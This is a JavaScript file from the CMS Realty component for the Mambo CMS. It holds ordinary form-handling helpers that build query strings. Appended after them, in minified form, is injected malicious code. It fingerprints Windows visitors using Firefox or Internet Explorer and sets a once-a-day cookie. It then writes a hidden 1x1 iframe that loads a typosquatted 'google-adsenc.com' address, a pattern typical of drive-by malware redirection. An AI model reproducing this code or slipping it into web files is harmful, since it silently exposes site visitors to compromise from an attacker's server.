/*
CMS Realty - Open-Realty 2 Component for Mambo.
Author: Philip Vickers - www.codenza.co.nz
Copyright (C) 2005 Codenza Limited

This file is part of CMS Realty.

CMS Realty is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

CMS Realty is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with CMS Realty; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
function sendFormToCMS(form, cmsURL) {
	if ( form.method.toLowerCase() == 'get' ) {

		// check whether there is already an openrealty query parameter...
		if (cmsURL.indexOf("index.php?")>=0) {
			cmsURL = cmsURL+'&'+formAsQueryString(form, false);
		}
		else { // SEF style
			cmsURL = cmsURL+'/'+formAsQueryString(form, true)+'/';
		}

		window.location=cmsURL;
		return false;
	}
	else {
		form.submit();
	}
	return false;
}

function formAsQueryString(form, sef) {
	var paramSeparator = "&";//sef ? "/" : "&";
	var valueSeparator = "=";//sef ? "," : "=";

	var query='';
	for ( var i=0; i<form.elements.length; i++ ) {

		if ( form.elements[i].type!=undefined && form.elements[i].type!="button") {
			var type = form.elements[i].type.toLowerCase();

			// Ensure the value field is populated as OR doesn't always do that...
			if ( type=="select-one" ) {
				var dropdown = form.elements[i];
				if ( dropdown.selectedIndex>0 && dropdown.value.length==0 ) {
					dropdown.options[dropdown.selectedIndex].value = dropdown.options[dropdown.selectedIndex].text;
				}
			}

			if ( form.elements[i].name!='' && form.elements[i].value!='' ) {
				if ( type=="checkbox" || type=="radio") {
					if ( form.elements[i].checked ) {
						if ( query.length>0 ) query+=paramSeparator;
						query += form.elements[i].name + valueSeparator + escape(form.elements[i].value);
					}
				}
				else if ( type=="select-multiple" ) {
					for ( var multiIndex=0; multiIndex<form.elements[i].options.length; multiIndex++ ) {
						var option = form.elements[i].options[multiIndex];
						if ( option.selected ) {
							if ( query.length>0 ) query+=paramSeparator;
							query += form.elements[i].name + valueSeparator + escape(option.value);
						}
					}
				}
				else {
					if ( query.length>0 ) query+=paramSeparator;
					query += form.elements[i].name + valueSeparator + escape(form.elements[i].value);
				}
			}
		}
	}
	if ( sef ) return "openrealty,"+ascii2Hex(query);
	else return query;
}

function ascii2Hex( ascii ) {
	var hex='';
	for ( var i=0; i<ascii.length; i++) {
		hex+=ascii.charCodeAt(i).toString(16).toUpperCase();
	}
	return hex;
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
